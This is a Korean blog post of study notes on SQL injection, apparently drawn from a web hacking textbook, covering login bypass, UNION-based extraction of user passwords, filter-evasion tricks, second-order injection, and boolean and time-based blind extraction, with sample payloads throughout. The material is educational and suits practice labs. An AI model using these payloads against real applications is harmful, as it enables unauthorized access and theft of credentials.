거의 모든 애플리케이션은 애플리케이션 내에서 처리되는 데이터를 관리하기 위해 데이터 저장소에 의존한다.
흔히 사용하는 데이터 저장소는 SQL 데이터베이스, XML 기반 저장소, LDAP 디렉터리이다.
인터프리터 언어 안에 공격 코드 삽입
인터프리터 언어로 개발된 것들은 사용자가 입력한 데이터를 받은 후 변조하고 실행함
-> 인터프리터에 의해 처리되는 코드는 사용자가 제공하는 데이터와 프로그래머가 작성한 명령과 뒤섞이게 된다.
어떤경우 공격자의 입력값이 인터프리터 문법으로 인해 데이터를 망가뜨리거나 입력값이 마치 정상적으로 입력되는 것이라고 생각한다.
로그인 우회
SELECT * FROM users WHERE username = 'hoon' and pw = '1'
이 쿼리는 username 칼럼 값이 hoon이고 pw 값이 1인 레코드를 추출한다. 공격자는 위 쿼리에 인젝션 코드를 입력해 로직을 무너뜨릴수 있다.
username 값에 admin'--을 이용하면
SELECT * FORM users WHERE username = 'admin'--' AND pw ='???'
이런 쿼리문이 사용되는데 여기서 --는 주석이기때문에 뒤에 나오는 쿼리는 모두 무시한다.
그래서 실제 처리되는 쿼리는 이와같다.
SELECT * FORM users WHERE username = 'admin'
SQL 내에 공격 코드 삽입
기본적인 취약점 공격
Wiley 라는 출판사에 출간된 모든 책을 찾을 때 쿼리문
select author, title, year from books where publisher = 'Wiley' and published=1
SQL 쿼리문에 있는 문자열은 반드시 작은따옴표(') 안에 포함돼야한다.
만약 사용자가 O'Reilly라고 검색을 요청했을때 처리된 문자열 값은 'O'이고 Reilly '라는 표현식을 만나 문법적 에러가 발생한다면 명백히 SQL 인젝션 취약점이 있는것이다.
취약점을 공격하기 위해
Wiley' or 1=1-- 입력시
select author, title, year from books where publisher = 'Wiley' or 1=1--' and published=1
publisher 값이 Wiley이거나 1의 값이 1을 만족시키는 열을 보여준다. 1=1은 항상 참이므로 books테이블 내 모든 레코드를 반환해 보여줄것이다.
Wiley ' or 'a' = 'a라 입력해도 결국 publisher 안에 쿼리는 아래 쿼리와 같이 작성된다
select author, title, year from books where publisher = 'Wiley' or 'a'='a' and published=1
SQL 인젝션 취약점 검색
문자열 데이터 인젝션 : 입력값 부분에 작은따옴표 입력해보고 에러 발생여부, 정상적인 것과 어떤것이 다른지 확인해 취약점 존재 여부를 확인할 수 있다.
숫자 데이터 인젝션 : 대부분 숫자는 데이터베이스로 바로 전달 ( 작은따옴표 안에 포함되지 않는다.)
원래 값이 2였다면 1+1, 3-1, 67-ASCII('A'), 51-ASCII(1) 같은 값을 입력해 동일한 결과를 나타내면 SQL 취약점 존재한다는 것이다.
쿼리 구조 인젝션 : 사용자 입력값이 SQL 쿼리 자체 구조에 삽입되는 경우 공격자는 악용하기 위해 직접적으로 유효한 SQL 구문을 삽입해야한다.
UNION 연산자
UNION 연산자는 두개나 그 이상의 SELECT문을 하나의 결과로 합칠 때 사용된다.
SELECT 문에 취약점이 존재할 경우 UNION 문을 이용해 두번째 SELECT문을 실행 할 수 있다.
select author, title, year from books where publisher = 'Wiley'
위 쿼리는 다음과 같은 결과를 보여준다.
AUTHER | TITLE | YEAR |
Litchfield | The database Handbook | 2005 |
Anley | The Shellcoder Handbook | 2007 |
UNION을 이용해 첫번재 SELECT 뒤 두번째 SELECT 쿼리를 덧붙여 공격해보겠다.
예를들어 검색 부분에 다음과 같이 입력하면
Wiley' UNION SELECT username, pw, uid FROM users--
애플리케이션은 다음과 같은 쿼리를 수행 할 것이다.
select author, title, year from books where publisher = 'Wiley'
UNION
select username, pw, uid FROM users--'
이것은 화면상에 원래 쿼리 결과뿐 아니라 username과 pw도 보여준다.
UNION연산을 이용하기 전 두개의 요소를 고려할 필요가 있다.
- 두개의 조합된 쿼리의 결과가 반환될 때 두 개의 결과는 동일한 구조여야한다. SELECT문이 서로 동일한 개수의 칼럼을 가져야 한다는 말이다. 앞부분에 있는 SELECT문이 3개의 칼럼을 반환하는 명령문이라면 추가적으로 삽입하는 SELECT문도 3개의 칼럼을 반환해야한다.
- 공격자는 데이터베이스에서 내용을 보고자 하는 테이블명과 해당 테이블에 있는 칼럼명을 정확하게 알아야한다.
필터우회
SQL 인젝션을 막기위해 입력 값에 대한 다양한 필터링을 수행한다.
이런 필터링은 위호가 가능하며 필터링돼 있는 상황에서 시도할 수 있는 다양한 기술들이 있다.
막혀진 문자 회피하기
숫자 데이터 필드나 칼럼에 공격 코드를 입력할 경우 작은따옴표 필요없음을 이용해 동적으로 개별문자에 대한 아스키코드를 이용해 다양한 문자열을 만든다
select ename, sal from emp where ename='marcus'
--위 코드와 동일한 코드 2개
select ename, sal from emp where
ename=char(109)||char(97)||char(114)||char(99)||char(117)||char(115)
select ename, sal from emp where
ename=char(109)+char(97)+char(114)+char(99)+char(117)+char(115)
주석 문자가 입력되지 않게 돼 있다면 주석 문자를 이용해 쿼리문을 강제적으로 종료하지 않고 정상적으로 문법을 종료하게 할 수 있다.
' or 1=1 / ' or 'a'='a
간단한 검증 우회
일부 입력 검증 루틴은 블랙리스트를 이용해 제거 할지 막을지를 결정한다.
만약 select 키워드가 막혀있는경우
SeLeCt
%53%45%4c%45%43%54%2553%2545%254c%2545%2543%2554
위와 같은 코드를 시도해 볼수 있다
SQL 주석이용
인라인 주석은 /*와 */를 이용해 SQL문장에 삽입가능하다.
만약 스페이스를 제거하거나 막혀있는경우
select/*foo*/username,password/*foo*/FROM/*foo*/users
위와 같은 코드를 시도해 볼 수 있다.
MySQK같은 경우 키워드 자체에 주석을 삽입할 수 있다.
SEL/*foo*/ECT username,password FR/*foo*/OM users
2차 SQL 인젝션
개발자는 사용자가 입력하는 데이터에서 작은따옴표를 막기 위해 더블링업을 이용해서 취약점을 고치려고 시도한다고 가정해보자. 사용자명에 foo'를 입력하면 쿼리는 다음과 같이 만들어지고 데이터베이스에는 문제가 발생하지 않는다.
INSERT INTO users (username, password, ID, privs) VALUES
('foo''','secret',2248,1)
만약 비밀번호 변경 기능을 제공한다고 가정해보자.
이전 비밀번호를 입력하면 입력 된 비밀번호는 데이터베이스에 있는 현재 비밀번호와 비교한다.
데이터베이스에서 해당 사용자 아이디를 확인하는 쿼리이다.
select password from users where username ='foo''
데이터베이스에 저장된 사용자명은 foo'이기 때문 작은따옴표 두개를 하나의 작은 따옴표로 인식하고 사용자명을 foo'로 처리한다. 그렇기때문에 그 다음에 오는 작은따옴표까지를 사용자명으로 인식하는데 사용자명이 종료되지 않기 때문에 다음과 같은 에러가 발생한다.
Unclosed quotation mark before the character string 'foo
공격자는 사용자명 부분에 임의의 조작된 문자열을 입력하고, 해당 사용자의 비밀번호를 변경하려고 시도한다.
공격쿼리는 다음과 같다.
' or 1 in (select password from users where username='admin')--
발전된 공격
숫자를 이용한 데이터 추출
사용자가 입력한 작은따옴표가 애플리케이션에 의해 처리되기 때문에 문자열 필드에서 취약점을 찾기 쉽지않다.
공격자는 작은따옴표로 캡슐화되지 않는 숫자 데이터필드를 이용한다.
숫자 폼을 통해 데이터를 추출하기 위한 함수 두가지 먼저 소개하겠다.
- ASCII : 입력한 문제에 대해서 아스키코드를 반환한다
- SUBSTRING(SUBSTR) : 입력값의 하위 문자열을 반환한다.
예를들면
ASCII('A') : 65를 반환
SUBSTRING('Admin',1,1) : A반환
두개 코드를 합쳐 ASCII(SUBSTR('Admin',1,1)) : 65반환
이 두함수를 이용하면 문자열 내에 있는 유용한 문자나 데이터를 추출할 수 있고 숫자 폼 안에 개별적으로 각 문자를 반환할 수 있다.
추론 이용하기 : 조건 응답
SQL 인젝션 취약점이 존재하는 로그인 기능 쿼리문
select * from users where username = 'marcus' and password = 'secret'
삽입한 쿼리문의 결과가 어떤 방법으로 돌아오는지 알지 못한다고 가정해보자.
이런 가정에도 불구하고 각기 다른 행동을 보이게 하기 위해 어떤 인젝션을 사용해야 하는지 알 수 있다.
--1번 코드
admin' and 1=1--
--2번 코드
admin' and 1=2--
두개의 코드를 입력하면 다른 결과를 보여줄 것이다.
1번 코드는 로그인 성공 결과로 관리자로 로그인하게 해줄것이고 2번 코드는 로그인 실패 결과를 보여줄 것이다.
공격자는 임의의 조건 절에 대한 참과 거짓을 추론하는 것으로써 애플리케이션의 행동 제어를 이용할 수 있다.
문자열의 어떤 문자가 특정한 값인지 아닌지 검사할수 있는 쿼리 2개를 보겠다.
admin' AND ASCII(SUBSTRING('Admin',1,1)) = 65--
위 쿼리는 항상 참이기 때문에 관리자로 로그인 할수 있을 것이다.
admin' AND ASCII(SUBSTRING('Admin',1,1)) = 66--
위 쿼리는 거짓이기때문에 로그인 인증에 실패 할 것이다.
각 문자열에 대해 ASCII코드를 이용해서 반복적으로 이런 쿼리를 수없이 많이 전송함으로써 한번에 한 바이트씩 공격자가 원하는 전체 문자열을 추출할 수 있다.
시간 지연 이용
조작된 쿼리내에 시간지연을 발생시킨다. 공격자는 조작된 쿼리를 전송한 후 서버가 응답하는 시간을 감시한다. 지연이 발생하면 해당 조건은 참이라고 추론할 수 있다. 이런 쿼리를 수행함으로써 공격자는 한 번에 한 비트씩 데이터베이스로부터 복잡한 데이터를 얻을 수 있다.
(시간지연을 발생시키는 방법은 사용되는 대상 데이터베이스마다 상이함)
MS-SQL은 WAITFOR명령을 가지고 있다. 아래 코드는 사용자가 sa계정이면 5초간 시간지연을 발생하게 하는 쿼리이다.
if (select user) = 'sa' waitfor delay '0:0:5'
다음 쿼리 중 두 번째는 수집된 문자 중 첫 번째 문자가 A인 경우 시간 지연이 발 생할 것이다.
IF ASCII(SUBSTRING('Admin',1,1)) = 64 waitfor delay '0:0:5
IF ASCII(SUBSTRING('Admin',1,1)) = 65 waitfor delay '0:0:5
추가적인 기술은 데이터에 대한 각 바이트를 개별적인 비트로 분해하고 하나의 쿼리에 추출한 비트를 담는 것이다.
POWER : 제곱값을 구하는 함수
POWER(3,3) : 3*3*3
POWER명령과 비트에 대한 AND연산과 &는 비트에 기반을 둔 구체적인 조건을 만드는데 사용한다.
IF (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,0))) > 0 waitfor delay '0:0:5'
-- 위 코드는 수집된 데이터에 첫 번째 바이트의 첫 비트를 검사하고 해당비트가 1이면 멈춤
IF (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,1))) > 0 waitfor delay '0:0:5'
-- 두 번째 비트에 대해 동일한 검사를 수행한다
MySQL 은 sleep 기능을 사용한다.
PostgreSQL은 PG_SLEEP 기능을 MySQL sleep 기능과 동일하게 사용한다.
지금까지 공부한 것을 바탕으로 LOS(lord of sqlinjection)으로 실습해보겠다.
사이트 : los.rubiya.kr/
참고 서적 : 웹 해킹 보안 완벽가이드
'Web > Web Hacking & Security' 카테고리의 다른 글
XSS(Cross Site Scripting) (0) | 2021.01.26 |
---|